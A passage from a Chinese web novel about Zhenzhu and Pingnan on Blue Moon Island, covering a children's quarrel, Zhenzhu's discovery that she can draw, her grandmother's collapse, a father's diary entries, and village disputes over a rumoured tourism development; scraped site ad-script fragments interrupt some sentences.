谢阳面无表情提出要检查谢嘉的假期作业,谢嘉水果也不吃了,生怕下一秒谢阳就会对他开始审判。两人虽是亲兄弟,但性格截然相反,谢嘉倒也不是真的怕这个哥哥,只是知道自己暑期里大半时间都在玩,作业都是这几天才赶完的,不免心虚。 好在有惊无险,谢阳对他的要求不高,写完就行,翻阅间还意外地发现谢嘉这次数学作业后面的错题率很低,他语气没什么起伏的夸了谢嘉两句,谢嘉这才放下心来,拿起盘子里的草莓立马伏在桌子上跟小渔一起画画。 曲北上岛主要是为了上次阿黄嘴里叼着的那部手机,只是手机在几场大雨里浸水太多次,找了好几个店都被告知已经属于报废状态,连里面的电话卡都完全损坏。 珍珠偏头看向平南,他满不在乎道:“坏了就坏了。”反正他一开始对这个也没有抱什么希望。 曲北闻言稍稍皱了皱眉头,他在岛上打听过,竟无一人知道平南究竟是何时上岛,如今又看到平南对自己的事情这么不关心,心中疑虑更甚,正打算问平南究竟还要赖在这里多久,身后却传来了吵架的声音。 谢嘉指着画上的人沉戾的问道:“你说这是谁?” 小渔嘴角还挂着笑,丝毫没发觉谢嘉已经在生气的边缘,甜甜道:“小阳哥哥呀。” 谢嘉指尖都快把纸上那个小人戳烂了:“那我呢,你为什么只画他不画我。” “江小渔。” 小渔被他吼的后脊发麻,用手护着画,畏着脖子没什么威胁力的生气道:“我不要和你玩了,你总是管着我。” 谢嘉冷言道:“绝交就绝交,多稀罕呢,你以为谢阳想跟你玩,他是我哥哥,他凭什么跟你一起玩。” 找不到任何理由反驳的小渔委屈的眼泪立马就顺着脸往下淌,哭的喘不匀气:“我再也不要跟你一起玩了,我最讨厌的就是你。” “不玩就不玩。” 几乎是话音落地的瞬间,谢嘉气的伸手用力一推,小渔摔倒在石子地上。 珍珠望着站在那居高临下的谢嘉,电光火石之间脑海里突然闪过什么,错乱的,零碎的记忆在她的脑海里翻滚,带着一丝刺痛,仿若小渔受的伤都如数传感到她的身上,心口漫上一股窒息感。 她惶惶不安的转过头,看到平南,竟不知何故朝后退了一步。 平南此刻也陷入一种奇异的感觉里,抬头正好对上她的视线。 他手指动了动,想上前,却像被钉在了原地。 那边谢阳和曲北已经反应过来,连忙扶起了小渔轻声安慰,谢阳严肃地把谢嘉用力扯过来:“道歉。” 谢嘉从小渔摔倒的那一刻就已经害怕,却仍底气不足的梗着脖子说:“我不,凭什么要我跟她道歉,是她先说不跟我玩的。” 谢阳:“不跟你玩你就要推她?” “都怪你,要不是你我们才不会这样,她昨天还说我们是最好的朋友。”谢嘉像是找到了由头,据理力争把过错全部推了出去,好似要不是谢阳今日登岛,这些事都不会发生。 谢阳再冷静也不过是个十二岁的孩子,脸色阴沉可怖,用更大的力抓住谢嘉责问。他和谢嘉之间隔着几岁,平时交流不多,但谢嘉向来很少在他面前放肆,顶多嘴硬两句,没想现在不仅不知悔改,还要推卸责任,两人眼看着针锋相对就要打起来。 珍珠正了正神色,清醒过来连忙拉开他们。 小渔已经哭的泣不成声,膝盖也破了皮,伏在曲北身上止不住的抽泣。 店里没药,珍珠对谢嘉他们也不好插手,拿纸巾把小渔的眼泪擦干净,问她愿不愿意跟自己回家上药,这附近就算王家最近。 小渔睁开哭的通红的双眼,微微点了点头,伸出手去抱珍珠。 珍珠双手抱起她,又问从刚刚就一直沉默不语的平南要不要一起回家,免得他在这里不适应,没看到他眼里的后来增添的晦暗不明。 谢嘉谢阳和曲北按照关系算,沾着一点远亲,处理这种事情比他们两个都方便。 平南收拾好小渔的书包,递过去道:“还是我抱着吧。” 就算小渔再瘦也是个八岁孩子,也不看看自己的小胳膊小细腿,这么远的路她能一直抱着吗。 小渔倒也没有拒绝,伸手抱住他的脖子,抽抽搭搭又伏在平南的肩上流眼泪,走到半路都没止住抽泣,平南无奈的伸手抚了抚她的背,柔声道:“好了不要哭了,等下我帮你打回去。” 小渔流着眼泪转头,看着平南的侧脸对这种以暴制暴的方法不敢相信,这和她在学校学到的东西背道而驰。 小姑娘颤颤地收回手,没有再抱住他的脖子。 珍珠低头没忍住笑了笑。 平南:“……” 谢嘉推的重,地上又全是碎石子,小渔两条腿都磕破了,左手也有一点擦伤。 家里的药品是常备的,之前王淑华不稳定的时候也总是喜欢跑出去,下着雨腿脚又不好,珍珠帮她清理过很多次,经验丰富。 把伤口周围的灰尘擦干净,再用棉签站着红药水轻轻点涂在上面,珍珠轻轻呼着气,动作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 轻柔的帮她处理完伤口,又贴了好几个创口贴,小渔终于止住眼泪,小脸委屈巴巴的还在生气。 “我一辈子都不要再跟谢嘉一起玩了,我讨厌他。” 这话听着就是在赌气,谢嘉脾气不好又不是一天两天,小孩子之间矛盾多,两个人总是隔几天就吵架又和好,有时候两个人到她那去买两杯可乐都能上一秒还在尖叫吵架,下一秒又手拉着手一起去玩。 而且一辈子那么长,谁说的准呢。 珍珠顺着她的脾气哄人:“好啊,那我们以后不跟他一起玩了。” 她又赌气道:“我以后只跟阳阳哥哥玩。”好像这样就能惩罚到谢嘉,让他也气死。 小渔说完自以为小心翼翼的偷瞄了平南一眼,心有余悸的靠近珍珠耳边说:“姐姐,那个哥哥也会打人吗?” 那个哥哥,平南挑起眉,今早还叫他平南哥哥,现在过河拆桥改称他为那个哥哥了,小没良心,他要不是为了哄她能说出那种话,也不想想是谁一路把她抱回来的。 “我不知道。”珍珠这样说。 平南倏地锁紧眉头,什么叫她不知道,他难道会是谢嘉那种会随意发脾气的幼稚鬼? 小渔眼神极为诚恳:“我觉得小北哥哥就不会。” “什么叫他就不会,我难道就会?”平南听不下去了,一个两个都冤枉他。 小渔吓的缩回脖子,嘴巴又是一扁眼泪跟着就要往下掉,平南烦闷的哼了口气,看着她肿起来的眼睛又忍了下去。 珍珠寻思着曲北那还要好一会,怕小渔又哭,瞪了一眼平南立刻提议道:“我陪你玩一会好不好,你们前面在画什么?” 小渔吸了下鼻子,从包里拿出彩铅,翻开自己的图画本给她看。 白色的纸张上面是一幅很卡通的简笔画,除了那个小男孩她真看不出是谢阳以外,基本上能一目了然。 大树白云小草,小朋友都这么画。 平南收拾好药箱坐在桌子对面,看她们那一副要画出世界名画的气势,语气悠悠道:“你还会画画呢。” 珍珠拿起一只黑色的彩铅,突然很顺手的在手上转了几圈,一瞬间像打开了什么通关密码。 她捏住画笔朝平南比画了两下,几乎是落笔的瞬间,脑海里就已经想好了如何去动笔,完全是凭借本能的操作。 异样的,又肯定的感觉萦绕在她的心头,她也不知道自己究竟在画些什么,只是觉得这种感觉很奇妙,像在释放被压抑很久的情绪,是许久未呼吸的空气。 小渔画了一会停下了自己手里的画笔,钦佩的看着珍珠早已忘记自己还在抽泣。 没过一会,一幅简单的人像素描跃然于画纸上,线条简练,笔触细腻,几下就抓住了人物的精髓。 一时之间,客厅静默一片,就连珍珠本人都没想到,她之前一直以为指腹那里的薄茧是干粗活留下的,毕竟这才符合一个贫穷的小岛少女形象。 平南愣了几秒才反应过来,拿过她的画惊讶道:“王珍珠,原来你是个天才。” 30. 第三十章 小渔附和道:“珍珠姐姐,你好厉害。” 珍珠对她笑了一下,来不及细想,对面平南发现了更大的要点,兴致勃勃举起手里的画说:“你这画的是我!?” 很难没认出来吗,刚刚还夸她是天才,珍珠反问道:“不像吗?” 像,当然像,比他早上在镜子里看到的自己还要好看。 得到她肯定的答复,平南脸上露出一副“我就知道”的神情,也是,珍珠除了画他还能画谁呢,他又不需要像谢嘉那样,为着这一点点小事生气。 他微扬下巴:“原来我在你心里长这样。” 都说情人眼里出西施,看来果然是真理。 恰好这时曲北也带着谢嘉谢阳过来了,看到他这副有意炫耀的样子,平南把画正对着曲北放下,指尖愉悦的在旁边轻哒。 谢阳用力扯着明显哭过的谢嘉拉到桌子前,小渔害怕的往珍珠后面缩,珍珠抚拍了下她的肩,把她抱坐到自己身上。 谢阳冷若冰霜地说:“快道歉。” 谢嘉瘪着嘴,支支吾吾声音小的快听不见:“对不起。” 谢阳横他一眼:“大点声。” 谢嘉皱脸握紧拳:“对不起,江小渔,我下次不这样了。” 谢阳这才松开他,温声道:“小渔,我已经惩罚过谢嘉了,你愿意原谅他吗?” 珍珠在一旁听着也不免暗自赞叹谢阳小小年纪就如此明事理,情商高。果然小渔在看了一眼谢阳后,点点头表示自己愿意原谅谢嘉。 这场时常没超过两小时的绝交又和好了,谢阳许是因为歉意,主动愿意陪小渔一起画画,谢嘉看着,嘟了嘟嘴自己坐到门口的台阶上惆怅着一张脸。 珍珠看着他唉声叹气的模样,总觉得太过违和,八九岁的年纪跟经历了许多人生沧桑一样。 她挨着谢嘉坐下,撑脸笑:“不是和好吗,怎么还不高兴。” 谢嘉垂下眸,小小脑袋绞尽脑汁也想不明白:“我真是不理解,江小渔为什么总是这样,我明明都是为了她好。” 告诉她不可以吃多了糖,牙齿会容易坏,不要总在太阳底下到处跑,等下中暑了怎么办,挑食会长不高,不喜欢吃蔬菜是一件非常错误的事,张华总是脏兮兮的,不应该和他一起玩,李媛爱看漫画书,会把她带坏。 他明明都是为江小渔考虑,谢阳什么都没有做,江小渔却更喜欢他,真不公平。 “也许那些都不是她喜欢的。”珍珠说。 谢嘉急急争辩道:“可我都是为了她好。” 珍珠平静看着他:“但你不能把你的意愿强加给小渔,那些都不是小渔喜欢的东西,不是吗?” “这个世界有很多事情需要自己体验,每个人的感受不同喜好也就不一样,这没有高低对错之分,就像你喜欢喝蓝莓味的气泡水,每次来我这都只让她选蓝莓味的,说桃子味的不好喝,里面会有很多奇怪的东西,会吓唬她,可是蓝莓味的气泡水就一定比桃子味的气泡水好吗,它们都只是气泡水。” “我们要允许别人有不同的喜好,不必事事都和自己一样。” 谢嘉不太能明白她的话,垂着头:“可是我就是想跟她一起玩,为什么我把江小渔当作我最喜欢的人,她不这样对我。” 珍珠无法解释这种感情的不对等,这本来就是无法验证的命题,想了想提议道:“也许你可以告诉她,而不是抱着喜欢的名义去捉弄她。” “你要告诉她,她才知道。” 谢嘉抬起头,充满好奇:“姐姐,为什么你都知道,你以前也有这样的好朋友吗?” 她有过这样的好朋友?珍珠不知道,如果梦里那个人也算的话,她笑道:“因为我现在是大人呀,所以一下子就明白了,等你长大了,你也会明白的。” 因为从未得到肯定的答复,所以千方百计伪装自己内心的不安。 那个人也是这样吗? 曲北收回目光,看到桌上摆着那一幅素描画一时有些怔愣,又记起平南故意摆在他面前的模样,他手伸过去,还没等落到桌上,就被一只微凉的手挡了回去。 平南伏在竹椅的靠背上接着听珍珠开导谢嘉,觉得这人跟个小老师似的,还一下子就明白呢,余光中瞄到曲北想乱碰的手。 曲北垂眼看向他,两人的视线对上,明明他才是站着居高临下的那一个,却在面对平南有几分敌意的眼神时,又立刻落了下风。 曲北一直觉得平南很眼熟,他的眼神总是那么的倨傲散漫,胜券在握,让人不自觉想要恭让他。 平南皱起眉头,一把打开他的手:“是你的吗,你就碰。” 曲北也不是次次都能忍耐,只是脾气还没发出来,珍珠已经听到声响呆站起来,朝他们俩问道:“怎么了?” 王淑华这时也从屋子里走了出来,看到桌上的东西脸色大变。 平南语气悠悠然:“没事呢,他想看你特意给我画的画。” 他语调那股吊儿郎当的劲,好像曲北是打算蓄意破坏似的。 珍珠走了过来,拿起那幅画眼睛望着曲北:“小北哥,你们怎么之前都没有告诉我?”从来没有任何人提起过这件事。 王淑华紧张的看向曲北,浑浊灰白的眼睛惴惴不安,呼吸像是被曲北接下来的回答攥住,越来越喘不过气。 曲北没有避开她的视线,露出一如既往温和的笑,语气镇定地缓缓开口:“一下子忘了,小时候平叔只带你去外面学过一小段时间,没有很长。” 平南胳膊搭在桌上,察觉到话里的怪异,她会画画,怎么自己不知道还要去问曲北。 突然,门边发出一声强烈的撞击声,所有人都条件反射的偏头,王淑华不知怎的倒在了地上,神情痛苦。 “奶奶。” 珍珠惊慌的跑过去跪在她身边,又不敢乱动,生怕她真摔倒了哪里。 所有人愣了一瞬也立马围了上来,小渔更是害怕的躲在谢阳的后面。 王淑华难受捂着胸口呻吟,一副喘不过气的模样,曲北和平南同时反应过来,合力将王淑华抬到了床上,珍珠想要去叫陈医生却被王淑华扯住了手腕,好似她这一走就再也不会回来。 珍珠急的眼泪都快掉出来,王淑华之前再生病也只是说些胡话乱走不认人,从来没有这样过难受过。 “我去。”平南转身就朝外跑,又不放心的盯着曲北:“你给我看好了。” 半个小时后,陈医生开着一辆三轮摩托载着药箱和平南回到王家。 从下午折腾到晚上,陈医生才从房间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里退了出来。 珍珠急忙向前问道:“陈医生,我奶奶她。” 曲北扶住她的肩:“珍珠,听陈医生说。” 陈医生没在意:“别紧张,你奶奶她没事,就是自身情绪太紧张血压升高,静脉血液回流心脏减少造成的造成的血压降低,所以才出现这种头晕,短暂意识丧失的情况。” 她又叮嘱了一些注意事项,说回去开些降压药平时按时吃一般不会有太大影响,众人这才放下心来。 珍珠从屉子里找出一支手电筒,“陈医生,我们走吧。” 平南若有若无的沉了口气,抢过她的手电筒,“得了吧,人是我找来的,用得着你送回去。” 外面天色全黑,蓝月岛连个路灯都没有,今晚夜色又暗,这样一个人出去也不知道是要担心死谁。 平南目光淡淡的扫了一眼曲北,快九点了还待在这里没走,谢嘉谢阳他们早就送回了家,他轻扯了下嘴角,跟陈医生上了三轮摩托车。 后车厢没有可以坐的地方,平南长腿跨上去只能蹲着,抓紧车边框吞咽了一口道:“你等下开稳点。” 陈医生嘴角微扬,眉间不经意地挑起,打亮车灯:“怕什么。” 话语间,车就已经飞了出去,后排车厢被凹凸的地面晃的哐哐响,深色夜幕下只留有平南倒吸一口冷气的暗骂声。 从陈医生那里拿完药,蓝月岛更黑了,许多人家都关了灯早已入睡,本就黑乎乎的路面更是雪上加霜,跟睁眼瞎一样。 平南从来没有单独走过夜路,上次被珍珠拉着出去的时候明明一点也不怕,这次却不知道怎么总感觉背后阴森森的,好像有什么东西一直盯着他,几声模糊的狗吠更令人毛骨悚然。 他掌心都快掐烂了,又不敢真的回头去看,生怕自己见到什么不干净的东西。 脚步越走越快,最后直接抱着药在路上狂跑,唯恐只要一停下来就会有人抓住他的脚脖子,手电筒跟着从天上晃到地面,又从地面转到天上。 突然,一束强光照在他的身上,平南眼前一片花白。 “平南。”珍珠微弱的声音从远处传了过来。 珍珠不太确定那个是不是他,从王家到陈医生的住所来回走路要一个多小时,就算陈医生有车,从那边过来只要十分钟,她也难以想象平南前面去请陈医生的速度,竟然全部来回只花了半个小时不到。 她看着那个越来越近的手电筒光亮又叫了一声:“平南,是你吗?” 下一瞬,手腕忽的一热,有个脚步踉跄的身影将她用力拥住,那人呼吸都乱的,剧烈震动心跳撞击的她心口发麻。 珍珠闻到一股很清淡的薄荷味,少年燥热的胸膛像烈日滚烫的峭壁,将她箍的那样紧,心跟突然被什么绊了一下似的,愣然回抱住他:“怎么了?” 平南埋在她颈间用力喘气,小声抱怨一样讲:“这破地方怎么黑。” “蓝月岛本来就是这个样子的,你又不是第一次看到。” “太黑了,我不喜欢。”他闷闷道。 烘在她颈窝的气息还发着颤,珍珠看着他这副模样就知道他是被吓到了,也是,一个小少爷哪用经历这些事。 她放缓语气,默默把他抱紧了点:“好,下次我会陪着你的。” 31. 第三十一章 是啊,蓝月岛其实一直都是这个样子的,入夜后只有无尽的黑,星星和月亮也会有隐去的时候,珍珠在那个时候连天台也不敢上去,彻夜开着房间的灯,直到天边有微亮才敢入睡。 可是两个害怕的人在一起,为什么就可以安然入睡。 珍珠想不到答案,她只能抱住平南。 蓝月岛又刮起了大风,树影婆娑,显得他们之间那点温热极为珍贵。 平南松开握住她的手往前走,想起问道:“你怎么跑出来了?” “……我想起家里有个更亮的手电筒。” 两束灯光在前路交织,珍珠的那束不仅更亮还照的更远,一看,那手电筒跟新的一样,做工精细,不像他那个塑料材质,摸着特别轻,按键那里都是松松的。 平南不可置信的看着她:“那你前面怎么不给我这个?” “忘了。”珍珠仰起头,回答的坦然。 平南看着她过分明亮的眼睛,生不起气:“……算了,原谅你。” “曲北呢,他怎么让你一个出来。” 这话酸溜溜的。 “小北……”珍珠堪堪止住,“他回去了。” 平南哦了一声,又问:“奶奶呢?” 珍珠:“已经睡了。” 平南的手比她大许多,牵着她更像是把她整只手包住,珍珠觉得好玩前后晃荡,“等下吃面条可以吗?” 家里不是只有挂面,但从下午折腾到晚上只有这个最快。 平南由她甩来甩去,露出笑:“行。” -- 「三月二日,院子里那树玉兰树还是活了下来,开了很多粉色的花,玉兰很开心。 珍珠说那是她见过最漂亮的花,她问我世界上会有珍珠花吗,珍珠花是不是和玉兰花一样漂亮,也是这样很大一朵吗,我见过的花太少了,蓝月岛上没有那么多漂亮的花,连那棵玉兰树都是我在外面拖回来的。 最近我时常在想,小珍珠马上就要去读书了,我要让她还留在蓝月岛吗?蓝月岛这么小,珍珠可以学到的东西也很少,她留在这里也许永远不知道什么是珍珠花,就像我和玉兰一样。 财哥跟我说国家马上就要实行义务教育了,等到珍珠秋天上学正好是第一批学生,不需要学费,一起去外面上学还可以让小北和她两个孩子互相照应,等周末再接回来就行。 我想把珍珠送出去,以后至少不用像我一样这么辛苦,或许她可以成为像陈医生那样的人,有一天到达广阔世界能亲眼看到那些珍珠花。 玉兰有点犹豫,毕竟很多现实原因摆在那里,我们没有办法每周都准时去接珍珠放学,而且珍珠可以适应那里的生活吗,这么小的孩子要一个住在学校,她什么都不会,会愿意乖乖吃饭吗?晚上要是一个哭了怎么办? 写到这里的时候,珍珠突然跑到了房间告诉我,她说不想要珍珠花了,珍珠不是一种花,曲北告诉她珍珠是一种宝石,她说她想要珍珠,要一颗世界上最漂亮最大的珍珠。」 「四月二十一日,今晚是休渔期前最后一次出海,等这次回来我和玉兰就能陪珍珠很长一段时间。 珍珠睡觉前问我,这次回来可以帮她在岸上买很厉害的药吗?她不喜欢她脚上那个红色的疤,二妞看到了总是笑话她。 我说那不是疤,是胎记。珍珠说胎记是什么?不可以去掉也不会好吗,她很不喜欢。 玉兰告诉她,那是爸爸妈妈留给她的记号,不管她去哪里,只要看到那个记号,就一定可以认她来,全岛上只有珍珠一个人有,是独一无二的红色珍珠。 珍珠很开心,她说二妞什么胎记都没有,以后走丢了婶婶她们肯定认不出。」 本子还剩一小半,平南向后翻了一页,又一直翻到尾页,却再也没有发现那粗糙的字迹,故事到这戛然而止。 他合上日记本没有再看,翻身大字形倒在床上。 是从这里开始,那个疼爱女儿的江平人生就结束了?所有人都留在了四月底,院子里再没有那棵玉兰树。 天花板上的墙灰摇摇欲坠,在此刻,终于还是决然的掉落在水泥地上,碎成一地白灰。 -- 春山这次出船并没有很久,不过多时又回到了蓝月岛上。 二妞满心欢喜跑到冷饮店,拎在手上的笼子往桌子上一放,两只雪白可爱的小兔缩缩小手,好奇地张望着这个陌生的世界。 “是不是特别可爱,春山哥特意买给我,这只大点的叫大白,小的叫小白,很好认吧。” 确实很好认,取的名字也这么直白。 二妞说完扭扭捏捏道出今天来的目的:“你能不能让淑华奶奶把那些不要的菜叶子都送给我,这两个小家伙太贪吃了,我家里种的那点根本就不够。” 不同于岛上其他人家都有在靠捕鱼维持生活,王淑华独自一人种着岛上最大一片菜地,菜品种类也是最丰富的,海岛常年气温高,她的蔬菜地里就没停过,一茬一茬的发芽开花。 珍珠摸了摸小兔白色绒毛笑道:“当然可以,你直接跟奶奶说就好了,这又不是什么大事。” 地里的红薯、胡萝卜、西红柿基本全熟了,王家又没有冰箱,好多东西怕放久了坏,经常吃不完就会让路过的人拿点回去,更何况是这种根本就不能吃的叶子。 “这不是不好意思嘛。”二妞放低声音,“听说前天淑华奶奶晕倒了,她真没事吧。” 岛上就这么点大,哪家有点风吹草动谁不知道,更何况那天平南跟逃命似的飞跑,岛上好多人都看到了,二妞也去家里看过,王淑华看起来并没有变化,除了那天摔倒磕着手青了一块,跟没事人一样。 珍珠:“没事,陈医生说她就是一下子太紧张了,血压没跟上。” “在家里有什么好紧张的,淑华奶奶也真是。”二妞绘声绘色道:“你是没看到平南那天那个样子,我感觉他都能去参加奥运会了,说不定还可以得奖。” 珍珠眼皮颤了一下,原来他真的是一路狂奔过去的,怪不得回来的时候脸都是白的。 二妞说的起兴,手肘推了一下珍珠的胳膊:“我看他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不仅可以去跑步,还能去参加男子游泳。” “什么意思。” “你不知道吗?”二妞神神秘秘道:“我看他最近总在沙滩那边潜水,那架势跟要参加运动会一样,早上经过的时候他就那,下午回去的时候他还在那。” “不知道,他没跟我说过。” 二妞的声更低了,凑到珍珠耳边由衷道:“你可看好了,怕不是准备游到陆地上去。” “其实我一开始是觉得他看起来挺没用的,不过人倒也不坏,感觉比起曲盛强点,你要是喜欢可得抓住了。” “虽然他肯定比不上小北哥,但是小北哥他以后一定是住在外面的,我听春山哥说,他前几天在海上碰见阿财叔了,说阿财叔等这趟船卖完就给曲北凑齐首付了,这不是到现在都没回来,我看他八成是直接去了江州。”二妞语气全然是真心在为她考虑。 二妞是不喜欢平南那种清瘦类型,但也奇怪,珍珠那张不施粉黛却依旧清冷漂亮的脸,在平南身边看起来就是比在曲盛身边感觉对味,连曲北都要稍逊一筹,她觉得是这两个人都挑食的原因,吃饭跟猫似的。 珍珠不知道她是哪里误会了,竟以为她拒绝曲盛是为了曲北。 这两个人是堂兄弟,她犯不着只盯着这一根藤的两个瓜。 平南也不会真傻到想要靠力气游到岸上,在这之前他本来有无数次更好的机会,但他为什么要跑到海里去游泳,珍珠还真不知道。 二妞言已至此,看她沉思的模样觉得该说的也都说了,剩下的都看珍珠自己的选择,没过一会儿,又说起了春山在岸上的趣事,说明天会带她出去玩,问珍珠有没有想要东西帮她捎回来。 珍珠不禁问道:“你们每次都这样折返,就没有想过住在岸上?” 蓝月岛除了鱼虾不缺,剩下几乎所有的东西都是稀缺的,不是所有人都能够像王淑华那样低物欲,特别是在经济发展迅速的今天,外面有太多的诱惑。 春山往返一趟不知道要耗多少油,附近港口也可以直接停船,又都是年轻人对新鲜的事物好奇,住在岸上显然是比蓝月岛方便。 二妞扯了下嘴角,话里有掩饰不了的失落:“住岸上哪有家里好,再说了,外面的人都很势利,觉得我们就是乡下人。” 她忘不了自己拿起那些漂亮衣服时,老板眼里露出的鄙夷,没好气道:“我才不要去受这个气,蓝月岛比外面好一万倍。” “不说这个了,说起来就来气。”她挥挥手驱散话题,又聊起祭海节将近,她准备跟春山把窗户纸戳破的事,恨不得明天就开始。 “到时候我们会在岛上那棵最大的榕树下系福带,也不知道他会写什么?” 珍珠低头逗着兔子,嘴角噙着一抹笑正打算调侃她两句,头顶突然传来一个陌生男人的声音。 “你好,麻烦给我三杯那个椰椰椰椰椰子茶,要多一点冰块。”男人说的烫嘴,但又觉得剩下那些饮品的名字更难以说出口。 珍珠抬起头,终于看到阿财叔嘴里说的那些穿着黑西装的人。 32. 第三十二章 “长风,他在干吗呢?” 春山大大咧咧落座在他旁边的石面上,下巴朝海面扬了一下。 明明只是简单的询问,长风却隐隐透露着一些紧张,“不,不能说,这是秘密。” “秘密?” 春山被他的样子逗笑,双手撑在身后散漫的望着海面,直到平南上来后才再次询问:“干吗呢,你最近总往海里钻什么?” 平南拿起干毛巾擦了擦头发,避开他的视线平静道:“没什么,太热了。” “是有点热。”哪怕从小在蓝月岛长大,春山也难以应对今年格外炙热的天气,太阳热的周边总有一道模糊的日晕,他抬手用力朝自己脸上扇扇风,道出此行的目的。 捕鱼是个日夜颠倒的力气活,风险不定,有时候全靠运气,近来岛上的年轻人出走大半,眼看祭海节将近,人手不足的问题愈发明显,还有好多人至今都没有回航。 平南不甚在意,听上去也不过就是些顺手的事,顺便还找春山多打探点岛上的消息,这有利于让他又排除掉一部分人,再者,平南不久后也有事要找春山帮忙。 他没听过什么祭海节,只是看春山重视的模样,寻思这似乎对蓝月岛的人很重要。 长风也跟在他们后面,三人刚到岛长家前面一段路,就发现院子里围着许多人,絮絮聒聒讨论着什么。 走近一听,听出个大概。 不知道从哪里传出来的消息,说有开发商看上了蓝月岛,愿意在这里出资,把周围几个海岛合并在一起,打造出一条旅游胜线。 大家自是乐意的,如果是这样,不仅可以在家门口实现再就业,还能让远走他乡的年轻人回来重新守护蓝月岛。 时代不同以往,如今赚钱的路子多,大家都渴望宁静安稳的生活,谁也不想一辈子与大风大浪搏击,意外就在一息之间,岛上不是只有一个王淑华,只是她失去的最多。 不须多时,岛长和几个年纪最大的长辈从房间里走了出来,大家安静少许。 这事本该快敲定了再通知大家,但那群人太惹眼了,说之前就有派专家上岛查看过,言语之间的意思大概八九不离十。 岛长冷静告知大家确有此事,不过一切还没有最终确定,先不要过多期盼。 大家先是一静,而后顷刻炸开,谁也没想到这种好事竟真的降临到他们头上。 “我只听过陆地有拆迁的,怎么我们岛上也能拆。” “这算什么,你没听岛长说吗,这不是拆迁,是人家要开发。” “我们蓝月岛也能开发?” “怎么不能,现在那些有钱人就爱这样,讲究什么生态之旅,最喜欢来我们这种没有被污染过的地方玩,再说了,蓝月岛哪里比他们差。” “就是就是...” 人群中不知谁突然问了一句:“那这地要怎么算?” 霎时间,院子又成了闹哄哄的一片。 蓝月岛人均面积大,大家之前也没有规划过土地,主要是各个区域不同地势起伏大,有些地方不适合居住,更何况蓝月岛人本身也不是靠土地生活,各家又都是祖上就住在这,基本都是在原有的地基上重建,中间隔着一段距离,连带着周围那一块也都当做划分到自家范围。 说是开发,难道就不要建游乐设施?再说那些贵人也要地方住,还有征用每块地的补偿金,可不就跟拆迁一样。 从前不值钱,邻里相亲各不计较,还要共同警惕其他岛的渔船,属于同一阵营。 如今寸土寸金,谁也不愿退让一厘一毫。 岛长就是怕出现这种情况,分配不均本就是自古难题,按人头分,像王淑华那种家里出事只剩一人的孤寡老人必定要吃亏,遂抬手大声制止了场面,刚要开口,不知是谁突然疑惑了一句,意味深长。 “我说曲有财怎么在那个鬼地方开个冷饮店,他怕不是早就知道这件事,提前占位置呢。” “好啊,我就说他哪有那么好心,当年他跟平哥玩的那么好,淑华婶子都快跪下来求他了,他也不肯出船,怎么现在反倒是特意……” 旁边有人立马用力捘了他一下,朝平南那边使眼色,那人猛地闭上了嘴。 其他人默契的跳过这一段,继续声讨道,犹如被点醒,大家都后知后觉:“我看他就是知道,曲北不就在那家公司上班,只怕是早就得到了内部消息,这才提前占了那一大片位置,要不然他敢给曲北到江州买房。” “有那么贵吗?” “贵?怎么不贵,别人一套房比你打一辈子鱼还多,你知道外面拆迁赔多少钱吗?”那人用手指比了数,周围人忍不住倒吸一口冷气,被那高昂的补偿金吓到。 大家纷纷群起反对:“岛长,这可不算,曲有财他凭什么站着那块地。” “我们要求平均分。” “对对对,他凭什么占着,那都不算。” “好了,不要再吵了。”岛长听的脑瓜子嗡嗡叫,一时之间也不知道曲有财是否真的提前知情,才安排珍珠先在那片荒地提前占位置,还捞着一个好人的名头。 他做出一个噤声的动作:“大家听我说,安静。那些人只说了要开发蓝月岛,但具体开发成什么项目还没告诉我,如果是对蓝月岛有害我是绝对不会同意的,就算给再多的钱也没用。” “我们祖祖辈辈都生活在这里,不能让后人连个住的地方都没有,具体的事情我们具体分析,大家少安毋躁,如果真的有那么一天,我一定会按照蓝月岛的规定给大家一个满意的交代,现在目前最重要的是祭海节的活动,这种事情不能在我们手里断了,大家要以大局为重。” “好了,都散了吧,围在这里做什么,事都做完了?” 盘踞在院子里的众人又相互交头嘀咕了会,不放心的又问了岛长好几遍,这才陆陆续续离开了这里。 平南在旁边听的的怪异,没想到赶上这么大的热闹,到了后面还有点回不过神来,王珍珠这是要一夜暴富,成为拆迁户了? 王淑华向来是两耳不闻窗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事,一心只顾那几只老母鸡,这种活动自然不会过来,平南也来不及等春山和岛长商议祭海节的事宜,拍拍他的肩道:“你先弄着,我等下来找你。” 春山不由愣了一下,朝他叫道:“平南。” “你先弄,我马上就回来。” 这样的惊喜,当然要由他亲自告诉珍珠。 平南兴奋的过了头,这些天他在王家的所见所闻都对他的心灵造成了巨大的冲击,乃至那天曲北带了一堆水果上门,他才惊觉他都没有在王家看过水果。 他住的太久,对那些饭菜就从来没有满意过,但又知道王家太穷,潜意识里都已经把桌上那些凉拌西红柿凉拌黄瓜当作水果,电视机电话电冰箱更是见都没见过,东西总要用到一点不剩还要兑点水用干净才买新的,唯一的电器就只有那三个电风扇,还有他买的那个吹风机。 就连让他去赶海的胶鞋都要找二妞家借,简直恐怖。 快到冷饮店,他脚步又慢了下来,抓了两下头发才微微扬起点下巴慢慢走过去。 昨日珍珠创下新业绩,一口气卖出去了三杯椰子茶,还有两杯冰咖啡。 她本来都以为那些速溶咖啡会放在岛上过期,没想到还真的卖了出去,为了让冷饮店看起来更正规靠谱,她今天找了块干净的木板,又把周末那些凸起尖锐的地方磨平,去二妞家拿了一盒彩色粉笔在‘小黑板’上涂涂画画,充当广告牌。 那日王淑华晕倒,她来不及细想,虽然曲北给出的理由足够充分,说王平带她去岛外学过一段时间画画,可是已经过了十多年了,她还能有这样的功底,恐怕只有像平南说的那样,她是个天才,但在这些天的重新执笔下,曲北的理由显然难以自圆其说。 就算是天才,十多年不动笔也只会泯于众人,而不是像她一样,发现自己还有自成一派的独特风格。 不过她也不敢再在王淑华面前表露,只能装作忘记这件事一样继续生活。 一道阴影斜打在老木板上,珍珠站起身,看见平南大晌午的热出一身汗,额前汗津津的,冲她道:“王珍珠,你要发财了。” 